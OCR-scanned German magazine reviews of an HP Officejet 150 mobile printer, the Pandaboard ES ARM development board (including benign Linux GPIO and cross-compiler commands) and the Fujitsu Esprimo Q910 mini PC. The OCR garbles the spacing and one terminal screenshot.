(schwarz) und 560 Seiten (Farbe) 
eine recht hohe Reichweite. 

Zu den knappen Software­
Beigaben gehört a u ßer  Tre iber 
und  Scan-Prog ra m m  d ie  OCR 
von I RIS .  Der Treiber bietet s inn­
vol l e  Vore inste l l ungen fü r ver­
sch iedene Drucka ufga ben, er­
l aubt bei Fotos Rand los-Druck 
aber nur bis zum 10 x 1 5-Format, 
auf A4-Normal- und -Fotopapier 
dagegen n icht. 

Im schne l len Entwurfsd ruck 
l iefert der  Officejet 1 SO bereits 
saubere, g ut lesbare Ergebn isse. 
Die hohe Geschwind igkeit von 

Prüfstand I Multifunktionsdrucker 

1 3  Seiten pro M inute erreichte er 
i m  Test a ber  nur bei a ngesch los­
senem Netztei l ,  im Akkubetrieb 
schaffte er i n  der M inute nur 6,7 
Seiten .  Im Normalmodus fie l  der 
U ntersch ied n icht mehr so deut­
l i ch  a u s  und  bei Opt ima ld ruck 
war er  kau m  noch messbar. 

Für Fotos taugt der Drucker 
n u r  wen ig :  Auf Norma lpapier 
störten deutl iche vert ika le  Strei­
fen .  Auf Fotopapier gefie len d ie 
stimmigen Farben, dunkle Deta i l s  
verschwanden aber im  Schwarz. 
Schwarzweiß-Bi lder d ruckt man 
besser i n  der E inste l lung "Farbe"; 
bei "G raustufen" bemerkten wir  
einen Grünstich. 

Fotos lassen sich d i rekt von 
der am U SB-Port a ngesch losse­
nen Kamera d rucken - aber n icht 
rand los. Das k lappte auf 1 0  x 1 5-
Fotopapier  dagegen bei Fotos 
vom USB-Stick und von der SD­
Card. Auch via B luetooth gesen­
dete Bi lder d ruckte der Officejet 
rand los, aber m it ger ingem Kon­
trastumfang und mäßiger Auflö­
sung .  Ein i Phone und ein i Pod 
touch kon nten den Drucker  via 
B luetooth nicht fi nden,  e in  An­
d ro id-Smartphone und eines 
von Nokia schon. 

Das Kopieren von e inzelnen 
A4-Seiten klappte be i  Textvorla­
gen mit g uter Qua l ität. Auf ·der 
Kopie und dem Scan unserer 
Fontseite verschwanden Grauflä­
chen, der Scan war zudem über-

Officejet 1 50 Mobi le AiO 

strah lt. Auf  der  Kopie der  A4-Fo­
tovorlage verl ief waagerecht über 
dem Bild ein fetter Transportstrei­
fen, der offensichtl ich vom Scan­
ner stammte, da er auch auf dem 
Testscan auftauchte. 

Der Officejet 1 50 kann nu r  A4-
Vor lagen sauber kopieren und 
scannen. 10  x 1 5-Bi lder etwa zog 
der Scanner  schief du rch, sodass 
die Kopien verzerrt wurden. Zum 
Scannen von Kassenzette l n  h i lft 
n u r, s ie vorher auf e in  A4-Biatt 
aufzukleben. 

Für  das Scannen mit Pe-Unter­
stützung muss man das Gerät via 
USB anschl ießen, da die Software 
H P-Scan - sie a rbeitet auch a l s  
Twa in-Modu l  - es v ia  B luetooth 
nicht erkennt. HP Scan bietet nur  
wen ig E inste l l ungen, l iefert m i t  
H i lfe der g uten OCR aber immer­
h in  du rchsuchbare PDFs. 

Fazit 

Der Officejet 1 50 Mobile von HP 
ist e ine teu re Spezia l lösung fü r 
professionel le Anwender wie Ver­
treter oder andere Reisende, die 
eine komplette Bü ro-EDV jeder­
zeit parat haben müssen. Dann 
spie len hohe Tintenkosten keine 
so g roße Rol le, zu mal der HP  fast 
konkurrenzlos ist. Eine Kombina­
tion aus Mobi ldrucker und -Scan­
ner wiegt - von der kompl izierte­
ren Bedienung mal abgesehen -
aber auch n icht weniger. (rop) 

Hersteller 
Druckverfahren, Tintenpatronen 
Auflösung (Fotodruck) 1 
ISO-Geschwindigkeit (SW I Farbe) 1 
Papiergewichte / -zufuhr 

HP, www.hp.de 
thermisch, 2 

Scanner 
Sehninsteilen 
Abmessungen (B x T x H) I Gewicht 
Treiber für 
PictBridge I DPOF 
Patronen Schwarz 
Patronen Farbe 
M�isii uiid Bewertu� 

Textdruck 
Fotodruck max. Auflösung 
Kopieren 
Scanzeiten 
Textdruck I Grafik I Folie 
Fotodruck Farbe I Normalpapier / sw 
Foto-Direktdruck 
Kopierqualität Text I Grafik I Foto 
Scanqualität Foto I Text (OCRl 
Lichtbeständigkeit Foto-/ Normalpapier 
Preis I Herstellergarantie 
Herstellelan alle 

4800 dpi X 1 200 dpi 
5 Seitenimin / 3,5 Seitenimin 
64 g/m2 . . .  1 62 g/m2 / 50 Blan Normalpapier 
24 Bit Farbtiefe, 256 Graustufen, 600 dpi phys. Auflösung 
USB 2.0, Bluetooth 2.0 EDR (SPP, HCRP, Object Push, Image Push) 
35,5 cm x 19,5 cm x 9 cm / 3,15 kg 
Windows 7, Vista, XP (nur 32 Bit); Mac OS X ab V.1 0.5.8 
v / -
HP 337 (24 €, 400 S.), XL: 338 (24 €, 450 S.) 
HP 343 (27 €, 330 S.), XL: HP 344 (38 €, 560 S.) 

--...... 
Entwurf: 1 3  S./min I Normal: 5,5 S./min/ Optimal: 2,2 S./min 
A4: 7:34 min / 10 x 15 : 2:59 min 
10 S. SW: 2:41 min / 10 S. Farbe: 4:36 min I A4-Foto: 4:00 min 
A4-Foto (600 dpi): 1 :34 min / Text mit OCR (300 dpi): 1 :45 min 
®® 1 ® 1 0 
0/ G / 0 
e 
® t e t ee 
Ge l ®  
®® I ® 
400 € / 1  Jahr 

e 
l A. bine Angabe 
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Prüfstand I Entwicklungsboard 

Benjamin Benz 

Basteistube 
Entwickl u n gskit mit Smartphone-Prozessor 

Mit einem ARM-Doppelkern prozessor, viel Speicher u n d  
zah l reichen Hardware-Beschleunigern verleitet das Pa ndaboard 
zum Träumen - etwa von der a utonomen Robotersteuerung, 
der Sel bstbau-Mu ltimedia box oder gar  einem sparsamen PC-Ersatz. 

Das Herzstück des Panda­
board ES bi ldet der OMAP-

4460-Prozessor mit zwei Cortex­
A9-Kernen von ARM und 1 ,2 GHz 
Taktfrequenz. Der OMAP4 kommt 
sonst i n  Smartphones wie dem 
Galaxy Nexus zum E insatz und 
rechnet schnel ler a l s  der A5X im 
iPad 3, bleibt aber i n  puncto 3D­
Leistung dah inter zurück. Die 
Wiedergabe und Aufnahme von 
Fu i i-HD-Videos sowie die Audio­
verarbeitung und die Aufberei­
tung von Standbi ldern überneh­
men beim OMAP4460 Hardware­
Beschleun iger und entlasten 
damit die beiden CPU-Kerne. 
1 GByte Arbeitsspeicher, e in kom­
biniertes WLAN-/Biuetooth-Funk­
modul ,  zwei H DMI-Ports, USB­
Buchsen (Host und Device) sowie 
Fast Ethernet runden die Ausstat­
tung ab. Nu r  F lash-Speicher 
bringt das Pandaboard n icht mit, 
den muss man in Form einer 
SD(HC)-Speicherkarte nachrüs­
ten. SATA ist nicht vorgesehen. Ei­
gene Schaltungen lassen sich 
über 1/0-Pins anb inden, für LC­
Displays und (spezie l le) Ka­
meramodule g ibt es separate 
Ports. Praktikabler dürfte für den 
Hobby-Bastler aber der Anschluss 
von Webcam und Co. per USB 
sein. 

Auf dem Papier oder genauer 
gesagt im Pandaboard-Wiki und 
der Omapped ia (s iehe c't-Li n k  
am Ende d e s  Artikels) macht 
auch d ie  Software e inen reifen 
E ind ruck: Dort stehen d iverse 
vorgefertigte L inux-Distr i but io­
nen a l s  I mages zum Down load 
bereit; u nter anderem Android, 
Angstrom und Ubuntu, zum Tei l  
sogar  i n  u ntersch ied l i chen Ver­
sionen. Um Gentoo, MeeGo und 
weitere bemühen s ich .,Commu­
nity-Projects", auch OpenSuse 
und Fedora wol len mitspielen. 

Wir wollten wissen, wie nah  
der  Traum vom ARM-PC mit  
L inux  der Rea l ität kommt und 
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haben uns  d ie neueste und leis­
tungsfäh igste Ausgabe .,ES" des 
Pandaboards beschafft. Gel iefert 
wurde das 1 69 Euro teure Platin­
ehen nackt, spr ich ohne Kabel, 
Funkantenne und NetzteiL  M in i­
USB- und RS-232-Kabel d ürfte 
der e in  oder andere in se iner 
Baste ikiste finden oder zunächst 
sogar  ohne auskommen.  Auch 
e ine Funkantenne tut erst e inmal  
nicht not - sofern das WLAN-Sig­
na l  sta rk genug i st, denn das 
Funkmod u l  enthält bereits e ine 
kleine Ch ipa ntenne. Für  g rößere 
Reichweiten respektive mehr Da­
tendu rchsatz braucht man a l ler­
d ings e in Adapterkabel, denn das 
fest e ingelötete Funkmodu l  bie­
tet n u r  e inen U .FL-Verbinder, 
wäh rend d ie  bei WLAN-Routern 
ü bl ichen Antennen RP-SMA n ut­
zen .  Auch auf e in  Netztei l  mit  
5 Volt Gleichspannung kan n  man 
verzichten, wenn das Boa rd per 
Micro-USB Strom bekommt. Letz­
teres k lappte in u nseren Tests 
n icht g ut, wei l  das Pandaboard 
u nter Vol l last mit 1 ,2 A viel mehr 
Strom zog, a l s  USB erlau bt. 

Wer s ich n icht se lber a uf d ie  
Suche nach passendem Zube­
hör, e inem Gehäuse oder ga r  
e inem LC-Display fü r d ie  Touch­
bed ienung machen wi l l ,  kan n  

beim deutschen Distributor Tiga l  
auch d iverse Kits beste l len .  Nor­
ma le  D isp lays lassen s ich per 
HDMI ansch l ießen, DVI-Monitore 
via HDMI-Adapter. 

Erstbezug 

U nser erster Test mit einem .,P re­
bu i lt Image" von Ubuntu 1 2 .04 
(Precise Pango l i n  Desktop) be­
gann  viel versprechend, setzt 
a ber  L in ux-Kenntn i sse voraus .  
Denn u m  das Image auf d ie  SO­
Ka rte zu bekommen,  empfieh l t  
das Wiki  e inen L in ux-PC. Dort 
packt der  Kommandoze i lenbe­
feh l  gunzip das Image aus  und  
.,dd" schaufelt es a uf d ie  SO­
Karte. Der dd-Befeh l  e rfordert in 
d iesem Fal l  aus g utem Grund 
Root-Rechte, denn Tippfeh le r  
oder  d ie  Angabe e ines  fa lschen 
Ziei-Device zerstören a l lzu le icht 
Daten auf dem PC. Es g ibt zwar 
auch entsprechende Kopiertools 
wie ., I mage Writer" fü r Windows, 
doch ü ber die schweigt sich das 
Wiki aus.  

Steckt man d ie  frisch befü l lte 
Karte in das Pandaboard und 
scha ltet es e in ,  sta rtet U bu ntu, 
ste l lt noch e in  paa r F ragen zu 
Sprache, Tastaturbelegung sowie 
Benutzernamen und präsentiert 

dann  sei nen Standa rd-Desktop. 
Doch die erste Ernüchterung 
folgt mit dem Start des Browser­
schwergewichts F i refox. Websei­
ten laden ä h n l ich langsam wie 
a uf e inem Netbook der ersten 
Generation und a l les fü h lt  s ich 
zäh an.  Laut An le itung feh len 
noch d iverse Pakete der Serie 
.,ubuntu-omap4-extras", doch 
d ie gab es fü r Ubuntu 1 2.04 bis 
Redaktionssch luss n icht. Ohne 
s ie rucke ln  Videos u nerträg l ich 
und d ie  CPU-Last be i  der MP3-
Wiedergabe reicht an  d ie 50-Pro­
zent-Marke heran .  Spr ich: Die 
Ha rdware-Besch leun iger l iegen 
brach, wäh rend d ie  CPU-Kerne 
schwitzen.  Diese rechnen zusam­
men - bei optima ler  Lastvertei­
l ung - g,erade einmal so schnel l  
wie e in  S ing le-Core-Atom, und 
auch der hat n icht genug 
Rumms, u m  H D-Videos i n  Soft­
ware zu dekod ieren. 

Die erwäh nten Mu lt imedia­
Addons g ibt es zwar fü r ä ltere 
Ubuntu-Vers ionen,  doch dort 
lauern andere Probleme: Das Pre­
bu i lt- lmage von 1 1 . 1 0  (Desktqp) 
ste l lte in e iner  End lossch leife 
immer dieselben Fragen zur Ein­
richtung und das von 1 1 .04 boo­
tet auf der ES-Version des Panda­
board n icht e inmal .  Nach viel H in  

Nur wenn der 
Hardware­
Beschleuniger 
mithilft und kein 
H intergrund­
programm stört, 
spielt das 
Pandaboard 
HO-Videos in 
ordentlicher 
Qual ität ab . .  
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und Her ge lang es u ns, d ie  Ser­
ver-Version von Ubuntu 1 1 . 1 0 
nachträg l ich u m  e ine g rafische 
Oberfläche und a l le  Mu lt imedia­
Pakete zu erweitern. Dafü r war 
a l lerd ings  zeitweise eine serie l le  
Termina l -Verb indung zwischen 
Pandaboard und PC nöt ig .  Aber 
s iehe da, Fu i i -HD-Videos l i efen 
letzt l ich in passab ler  Qua l ität -
sofern nicht e iner der vielen H in­
tergrundprozesse gerade auf d ie 
Suche nach U pdates g ing.  Im­
merh in :  B luetooth und WLAN 
funktionierten - nach manuel ler  
I n sta l lat ion der  Tre iberpa kete -
auf Anh ieb. Die Grafiktre iber wir­
ken indes noch n icht ausgereift, 
denn gelegent l ich gab  es per 
HDMI B i ldstörungen. Der Sound­
Transport über das HDM I-Kabel 
klappte i ndes fast immer. 

Eigener Code 

Noch mehr Zeit gekostet hat uns  
a l lerd ings der Versuch, eigene 
Software fü r das Pandaboard zu 
übersetzen.  Denn anders, als man 
das bei einem Entwickl ungssys­
tem erwarten dü rfte, gehört kei­
ner lei  Entwickl ungsumgebung 
zum Lieferumfang.  Auch das Wiki 
h i lft kaum weiter. Am einfachsten 
gel ingt das Kompi l ieren von 
(eigenem) C-Code noch m it den 
Kommandozei len-Werkzeugen 
d i rekt auf dem Pandaboard. Dort 
muss man - je nach Distribution 
- nur  ein paar Pakete rund um die 
Compi ler-Sammlung gcc nachin­
sta l l ieren und kann dann .,make" 
und Co. anwerfen. 

Das mag fü r e in  .,He l lo  world" 
oder mit viel Gedu ld  auch fü r fer­
tig entwickelte Software-Pakete 
reichen, bei aufwendigeren eige­
nen Prog rammen - fü r d ie  das  
Pandaboa rd eigent l ich prädesti­
n iert ist - wünscht man sich aber 
n icht nu r  e ine schnel le  CPU zum 
Ü bersetzen, sondern vor a l l em 
auch e ine moderne Entwick­
l ungsumgebung wie Ecl ipse mit­
samt g rafischem Debugger. 

All das erfordert aber e inen 
leistungsstarken (x86-)PC und 
eine sogenannte Cross-Toolchain.  
Diese wiederum muss m it a l len 
Bibl iotheken, Header-Fi les und so 
weiter exakt zu der Distribution 
auf dem Zielsystem passen. Die in 
einigen Tuterials und Foren emp­
foh lene kosten lose Version der 
Windews-Umgebung von Code­
Sourcery scheidet schon mal aus, 
weil sie für G leitkommazahlen nur  
.,softfp" u nterstützt, das aktue l le 
ARM-Ubuntu aber .,ha rdfp" vo­
raussetzt. Auch auf einem PC mit 
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OpenSuse 1 2. 1  hatten wir wenig 
Freude bei der Suche nach einer 
geeigneten Toolcha in .  Erst mit 
e inem eigens zu d iesem Zweck 
aufgesetzten Rechner m it Ubuntu 
1 2.04 und dessen Cross-Compi ler­
Paket füh rte zum Erfolg. Insta l l ie­
ren kann  man es mit dem Befehl :  

apt-get install gcc-arm-linux-gnueabihf 

Extrem wichtig s ind dabei d ie 
letzten be iden Buchstaben des 
Paketnamens, denn d ie  geben 
an,  dass die Hard-Fioat-Bibl iothe­
ken zum E insatz kommen.  Soft­
F ioat-Prog ramme stü rzen auf 
dem Pandaboa rd mit Ubuntu 
1 1 . 1 0 und 1 2.04 ab. Um eine I nte­
g ration in Ecl ipse oder eine ande­
re Entwicklu ngsumgebung muss 
man s ich dann aber noch selbst 
kümmern. Wer wi l l ,  kann  dazu im 
Wiki des c't-Bot-Projektes spicken 
(Stichwort Beagleboard). 

Von u nserem u rsprüng l ichen 
P lan ,  sel bst d ie  Mu lt imed ia-Be­
sch l eun iger oder ga r  die Ha rd­
ware-Gesichtserkennung  anzu­
sprechen, haben wir  nach d ieser 
I n sta l l at ionsar ie Abstand ge­
nommen - e in  paar H inweise, 
was dazu noch a l les nötig wäre, 
ze igt der  Entwickler Andrew 
Sobol auf se iner Hornepage 
(s iehe c't-Li nk) .  

Wi r  haben uns  unterdessen 
an den 1/0-P ins  des Panda­
boards versucht.  D ie GP IO­
Schn ittste l l e  des L inux-Kerne ls  
macht s ie ü ber das Dateisystem 
zugäng l i ch .  F ü r  e in  paar  erste 
Tests wechselt man zunächst (a ls 
root) i n  das  Verzeich n i s  /sys/ 
c lass/gpio und  schre ibt dann  i n  
d ie  Datei . .  export", auf  welchen 
P in  man zugreifen möchte. Also 
etwa: 

cd /sys/class/gpio 
echo " 1 40" > export 

Sofort b lendet der Kernel fü r den 
1/0-P in mit der N ummer 1 40 e in  
passendes U nterverzeich n i s  e in .  
Nachdem man .,out" i n  d ie Datei 
.,d i rection" geschrieben hat, fun­
g iert der P in  a ls Ausgang.  Der l n­
ha l t  von .,va l ue" entscheidet . 
über den Spannungspegel :  

cd gpio 140 
echo "out" > d i rection 
echo "0" > value 
echo " 1 "  > value 

Das Ergebn is  kann  man m it 
einem Mu ltimeter zwischen P in 4 
(GP I01 40) und 28 (GN D) des Er­
weiterungsports J3 beobachten.  
Ana log dazu steht i n  der Datei 
.,va lue", welcher Pegel an dem 
Pin an l iegt, wenn man zuvor ., i n" 
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root<!!>localhost: -
root@ ocalno s t : -# echo 140 > js s c � a s s  gp ojexport  
root@ ocalhcst : -n echo out  > JS s c:a s �  gp ojgpiol�C / d � r ectlon 
root@ o c a l h o s t : -# ec�c 1 > ; sy s  c a s s ; g  lo g c �cl�C/vd:ue 
r oo t@ ocalho s t : -# echc > ; sy s  c a s s ; g >:>;__o gplol�C/va':.ue 
root@ o c a l ho s t :  - #  c a t  j s y s /�er ,eljdeougjoMaJ __ Mux /Mc s �il_c s 3  
naMe : f'1c sp:l_c s 3 . gc<o __ l�C ( Ox�a lOC 1 3efOx 1 3e ::: �) ,  8 a n2 3 ,  t t�A 
MOde : O�A�_P I �_l�?LT_�ULLLP i OMAP_�UX_ MOD E 3  

s\gna l s : M c s p i l_c s 3  u a r t l _ r t s  1 s�iMcus2 d a t a  1 gplo_l�C � A  1 �A 

I �A I s a fe �ode 
root@loc a l�o�t : -• I 

Weil der Linux-Kernel die 1/0-Pins über das Dateisystem 
zugänglich macht, reichen ein paar Kommandozeilen befehle, 
um eine LED bl inken zu lassen. 

nach .,d i rection" schre ibt. N icht 
mehr benötigte Pins meldet ein 
Schreibzugriff auf die Datei /sys/ 
c lass/gpio/unexport wieder ab. 

Soba ld d ie während des Boot­
vorgangs  von u boot respektive 
x-loader getroffenen Vore instel­
l u ngen n icht passen, w i rd es 
komp l iz ierter. Dan n  muss man 
nachträgl ich Pu l l-up- und -down­
Widerstände u m konfigu rieren 
oder gar  das sogenannte Mu lti­
p lexing der Pins verändern. Letz­
teres legt fest, welche Funktion 
e in  P in  gerade erfü l lt - etwa ob 
er als Tei l  e iner Schn ittste l le  oder 
als 1/0-P in a rbeitet. 

Dazu g i l t  es, zuerst anhand 
des  Datenb lattes den pr imären 
Namen des P ins  ausfind ig zu ma­
chen. So kennt der L inux-Kernel 
den 1/0-P in  1 40 u nter dem 
Namen mcspi 1 _cs3. Der Befeh l :  

cat /sys/kernel/debug/omap_mux/ 1 
mcspi 1 _cs3 

zeigt d ie aktuel len E inste l l ungen 
an .  Letzt l ich entscheidend ist d ie 
Hexadezima lzah l ,  d ie  i n  der  
Klammer h i nter dem Gleichheits­
zeichen steht. Bit 5 legt dabei 
fest, ob es s ich um E in- ( 1 ) oder 
Ausgang (0) handelt. Bit 3 und 4 
konfigu rieren d ie  Pu l l -up- und  
down-Widerstände und  d ie  un ­
tersten d re i  B i t  legen d ie  Be­
triebsart (Mode) fest. ln welchem 
.,Mode" welcher P in  welche Auf­
gabe erfü l lt und wie er auf dem 
Pandaboard verdrahtet ist, muss 
man s ich aus  d iversen Daten­
blättern zusa mmensuchen. 

Fazit 

E in sparsamer ARM-Prozessor mit 
e iner bel iebigen Standard-Linux­
D istr ibut ion als PC-Ki l ler  b le ibt 
vorerst e in Wunschtraum.  l n  d ie­
sem Punkt bestätigt auch das 
verg le ichsweise schnel le  Panda­
boa rd den E ind ruck, den auch 
anderen Embedded-Piattformen 
wie Rasberry P i  oder Carambola 
bei uns  h i nterlassen haben.  Der 
Grund dafü r  l iegt nur zum Tei l  

be i  der  im Verg le ich zum PC 
langsamen Ha rdware, sondern 
vor al lem bei der Software. Denn 
die kleinen Prozessoren können 
nur dann auftrumpfen, wenn s ie 
mög l ichst vie l  Arbeit auf Hard­
ware-Besch leu n iger aus lagern. 
Wie das geht, beweist Apple mit 
iOS. Soba ld  aber e ine schlecht 
angepasste L inux-Distribution in 
Ermangelung  von Tre ibern, 
Codecs oder Lizenzen anfängt, 
die Arbeit der CPU aufzuha l sen, 
muss der Benutzer warten. 

Dass es am Feinsch l iff der Dis­
tr ibut ionen mangelt, belegen 
auch unsere Messungen mit 
dem Coremark: Obwohl  er im 
Textmodus l ief, erzielte das  Pan­
daboa rd ES n u r  5078 Punkte, 
wäh rend das Ga laxy Nexus mit 
Android und g rafischer Oberflä­
che 5957 Punkte schafft. Zum 
Verg le ich :  Das iPad 3 l iegt bei 
4950 Punkten und das von der 
Entwick lergemeinde mit vielen 
Vorschuss lorbeeren bedachte 
ARM-Piatinchen Raspberry Pi bei 
1 37 1  Punkten. 

Wer a l lerd ings  eine potente 
Plattform fü r ein Roboter-Projekt 
oder Ähn l iches sucht und n icht 
schon während der I nsta l lation 
der Cross-Tcoieha in  die F l i nte ins 
Korn wi rft, kön nte am Panda­
boa rd viel  Spaß haben. Al ler­
d ings sol lte man e in iges an Zeit 
e inp lanen, um s ich aus  Foren, 
Ma i l i ng l i sten Wiki-E i nträgen, 
YouTube-Videos und Datenblät­
tern d ie  I nformationshäppchen 
zusammenzukl auben.  Immerhin 
g i bt es e inen sehr  aktiven I RC­
Kanal ,  in dem man auch mal di­
rekte F ragen ste l len kann.  (bbe) 

www.d.de/12 75060 

Pandaboard ES ( rev. Bl ) 
Prozessor OMAP4460 (2 x Cortex-A9, 

1 ,2 GHz) 
Speicher 1 GByte RAM, SD-Karten-Siot 
Ports 2 X USB, 2 X HDMI, 1 x LAN, 

1 x RS-m, 2 x analog Audio 
Preis / Vertrieb 1 69 € / Tigal et 
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Prüfstand I Mini-PC 

Benjamin Benz 

Sparwunder 
U nter 1 0  Watt trotz Desktop-Tech n i k  

Schnell,  leise und vor a l lem spa rsa m, das verspricht 
Fujitsu für den Büro-PC Esprimo Q91 0 im Mac-mini-Format. 
Das Bemerkenswerte daran ist a l lerdings, dass er nicht 
etwa einen Notebook-, sondern einen Desktop-Prozessor 
mit zwei Kernen verwendet. 

A uf den ersten Bl ick wi rkt der 
Espr imo Q91 0 wie einer der 

vielen Versuche, Apples Mac 
mini nachzubauen.  Doch der 
Eind ruck täuscht. Erstens sol l  der 
Q91 0 in  den Büros g roßer F i r­
men a ls  Tei l  e iner zentra l admi­
n i str ierten IT-I nfrastruktur  und  
n icht etwa be i  P rivat leuten 
Dienst tun. Zweitens setzt er 
trotz des geringen Gehäusevolu­
mens auf k lass ische Desktop­
Technik von I nte l .  

Der  Core i5-3470T stammt aus 
lntels aktuel ler lvy-Bridge-Fami l ie, 
a l lerd ings aus deren 35-Watt­
Zweig - wie das T im Namen an­
deutet. Doch die Namensähn l ich­
keit zum regu lären Core i5-3470 
täuscht, denn das T-Model l  hat 
nur zwei statt vier Kerne und 
e inen Nomina ltakt von 2 ,9  statt 
3,2 GHz. Dass beide CPUs im 
Turbo-Modus b i s  zu  3,6 GHz errei­
chen, bedeutet wenig, denn I ntel 
setzt die Turbo-Stufen anders. 

N ichtsdestotrotz steht der  
Esprimo Q91 0 mit 3, 1 5  Punkten 
im Cinebench besser da als d ie 
meisten Mobi l -Chips. Den Mac 
min i  mit 2,3-GHz-Duai-Core (2,55 
Punkte) schlägt er locker, kommt 
aber n icht an  Apples M in i­
F laggsch iff mit 2-GHz-Quad­
Core (4,48 Punkte) heran .  

Bestücku ngseptionen m it 
Quad-Core bietet Fujitsu (derzeit) 
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n icht an, wei l bereits der kle inste 
Desktop-Vierkerner mit  45 Watt 
TDP das Küh l system überfordern 
würde. Schon beim 35-Watt-Ch ip 
heu lt der 4-cm-Lüfter des Espri­
mo Q91 0 u nter Dauer-Vo l l l ast 
mit 3,3 Sone und d ie CPU m uss 
trotzdem i m mer wieder den 
Turbo-Modus verlassen, u m  nicht 
zu überh itzen.  U nter rea l i st ische­
ren Testbed ingungen - etwa 
während e ines BAPCo-SYSmark­
Laufes - macht der Rechner aber 
nur gelegent l ich a uf s ich auf­
merksam.  Vö l l i g  laut los arbeitet 
der Q91 0 i ndes i m  Bü ro-Al ltag 
mit Excel ,  F i refox, Word und Co. 
und erfü l lt dann auch das Werbe­
versprechen "Zero Noise". Der 
Lüfter steht sti l l  und die SSD g ibt 
ohnehin keinen Mucks von s ich. 

Noch mehr beeind ruckt a l ler­
d ings  d ie  e lektr ische Leistungs­
aufnahme: I m  Leer lauf b le ibt der 
Rechner  knapp u nterha lb  der  
Marke von 1 0  Watt, sel bst u nter 
Vol l last sind es n icht mehr als 52 
Watt. Zum Verg le ich :  Der Mac 
m in i  sch luckt trotz langsamerer 
Mobi ltechn i k  zwischen 1 4,3 
(Leerlauf) und 57  Watt (Vo l l­
last) [ 1 ] .  Der winzige F it-PC3 [2] 
begn ügt s ich i m  Leer lauf zwa r  
m i t  nu r  8,2 Watt, l iefert aber nu r  
e i n  Achtel de r  Performance. 

Hau ptvera ntwort l i ch  fü r d i e  
rekordverdächt ig n ied r ige Leis-

tu ngsaufnahme zeichnet das  
seh r  effiziente Netztei l ,  das Fuj it­
su d i rekt auf d ie  H a u ptp lat ine 
ge lötet hat .  Gut gefa l len hat uns  
auch,  dass es mit  e inem zwei po­
l igen K le ingerätestecker aus­
kom mt, fü r den Ameri kaner  üb­
r igens den e ingängigen Namen 

"Shotg u n  Connector" verwen­
den.  

Wer angesichts so lcher Werte 
von e iner  n iedr igen Stromrech­
nung  träu mt, sol lte den hohen 
Anschaffungspreis n icht aus  den 
Augen ver l ieren: Los geht es ab  
899  Eu ro, das  getestete Model l  
m i t  1 28-GByte-SSD und B lu- ray­
Brenner schlägt mit 1 327 Euro zu 
Buche. Schu ld  dara n  sind i n  ers­
ter L in ie Funktionen, die letzt l ich 
nu r  Großfi rmen brauchen. So un­
terstützt der Q77-Ch ipsatz Fern­
wartung (AMT) und das Gesamt­
system vPro - beides l ässt s ich 
I ntel gut  bezah len .  Auch das vor­
insta l l ie rte Windows 7 Professio­
nal und der D isp layPort passen 
i n  d ieses Bi ld.  N icht mit an  Bord 
sind i ndes H DMI- oder SPDI F-An­
sch l üsse fü r die Verbi ndung  zu 
e iner He imkinoan lage. 

Admin i stratoren, d ie  s ich um 
Hunderte PCs kümmern müssen, 
profit ieren auch davon, dass -
dank  Desktop-Techn ik - auf dem 
Min i-PC exakt dasse lbe Betriebs­
system- Image fun ktion iert wie 

Ein Plastikkäfig um das integrierte und 
sehr effiziente Netztei l  schützt 

vor Strömschlägen. 

Im Inneren des Esprimo 
Q91 0 geht es eng zu. 
Trotzdem kommt man auch 
ohne Schraubendreher leicht an 
die 2,5"-SSD, den Arbeitsspeicher und 
das optische Laufwerk (andere Seite) heran. 

auf  seinen g rößeren Geschwis­
tern (Stichwort: "Stable Image") . 

Fazit 

Mit dem i n  Deutsch land entwi­
ckelten und gefertigten Espr imo 
Q9 1 0 zeigt F uj i tsu ,  dass man 
auch mit  Desktop-Techn ik  einen 
kompakten und spa rsamen PC 
bauen kann .  Bei a l l täg l ichen Bü­
roaufgaben b le ibt er zudem un­
hörbar .  Ruft man a l lerd ings  d ie  
vo l l e  Rechen le i stung  fü r mehr  
a l s  e in  paar  Seku nden ab, rächt 
s ich die Phys ik: Rund 50 Watt 
Abwärme lassen s ich n icht ohne 
Aufwand - spr ich Lüfter lärm -
a u s  dem k le inen Gehäuse ab­
füh ren .  Doch der Mac min i  zeigt, 
dass  es auch  bei noch höherer 
Leistungsa ufnahme leiser geht. 
Wer a l so se inen PC mit aufwen­
d igen F ina nzka l kulat ionen oder 
Com pi le r-Lä ufen beschäftigt, 
sol lte aus Rücksicht auf d ie Kol­
legen i m  Bü ro zu einem Gerät 
m it mehr Gehäusevo lu men g rei­
fen .  Dort passen dann  auch  
g le i ch  Quad-Cores und schnel le 
Grafi kkarten h ine in .  Fü r  Textver­
a rbeitung ,  Tabel lenka l ku lat ion, 
Ma i lverke h r  und Co. ist der  
Espr imo Q9 1 0 a ber  e ine  g ute 
Wah l .  

Schade bloß, dass Fuj itsu mit 
dem Q91 0 nur Bü ro-Arbeitplätze 
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Prüfstand I Min i-PC 

Fujitsu Esprimo Q9 1 0 
Hardware Ausstattun;.:;g._,___"""""....,....,...,.,.,....,..",".,...-:------:---:--:----------' 
CPU / Taktrate I Kerne Core i5-3470T / 2,9 GHz / 2+HT 
(PU-fassung I -Lüfter (Regelung) LGA 1 1 55 I n. v. 
RAM (Typ I Max ) I -Siots (frei) 4 GByte (P0-1 2800 I 16 GByte) I 2 x 50-DIMM (0) 
Grafik(-speicher) I -Iüfter onboard (shared) I n. v. 
Mainboard (Format) I Chipsatz D3183-A1 (DEM) I Q77 
Slots (frei) 1 x PCie Mini Card ( 1 ) 
SSD (Typ, Kapazität) Micron C400-MTFDDAC128MAM (SATA-6G, 128 MByte) 
Optische(s) Laufwerk(e) (Typ) Optiarc BD-58SOH (BiuRay-Brenner) 
Kartenleser SO, MMC, MS Duo 
Einbauschächte (frei) 1 x 2,5" (0), 1 x Slimline-Laufwerk (0) 
Sound-Interface (Chip) HDA (CX20642) 
Netzwerk-Interface (Chip, Anbindung) I TPM 1 000 MBit/s (82579 LM, PHY) I 1 .2 
Gehäuse (B x H x T [mm]) I -Iüfter (geregelt) Mini-PC ( 184 x 60 x 187) I 40 mm (v' ) 
Netzteil(-lüfter) 65 Watt intern ( - )  
Anschlüsse hinten 1 per Adapter x VGA, 1 x DVI, 1 x DisplayPort, 2 x 

Anschlüsse vorn 
Reset-Taster I 230-V-Hauptschalter I 
Kensington-Lock 
Elektrische Leistun�ufnahme 

Soft-Off I Standby I Leerlauf 
Volllast CPU I CPU und Grafik 

Seriai-ATA-Modus I NX I VT 
AMT I USB-Ports einzeln abschaltbar I TPM 
Wake on LAN 53 I Wake on LAN 55 
USB: SV in 55 /Wecken per USB-Tastatur aus 53 
(Wecken per USB-Tastatur aus 55) 
Booten US8-DVD-ROM I Booten USB-Stick 
Bootdauer 
Duai-Link-DVI I 2. Audiostrom I 
